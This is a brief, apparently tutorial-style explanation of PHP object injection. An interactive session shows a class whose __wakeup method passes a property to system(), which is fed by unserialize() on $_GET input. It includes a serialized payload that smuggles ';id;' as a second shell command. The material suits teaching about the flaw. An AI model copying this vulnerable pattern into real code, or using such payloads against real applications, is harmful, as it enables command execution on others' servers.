        system("echo".$this->sound);

## Description & Analyze

$ php -a
php > class cat
php >  public {
php {     public $sound = 'ls';
php {     function __wakeup()
php {     {
php {         system("echo ".$this->sound);
php {     }
php { }
php > $_GET['cat']='O:3:"cat":1:{s:5:"sound";s:4:"meow";}';
php > $cat = unserialize($_GET['cat']);
meow
php > $_GET['cat']='O:3:"cat":1:{s:5:"sound";s:4:";id;";}';
php > $cat = unserialize($_GET['cat']);

This is a typical command injection. The magic method `__wakeup()` will be called when unserialized something.
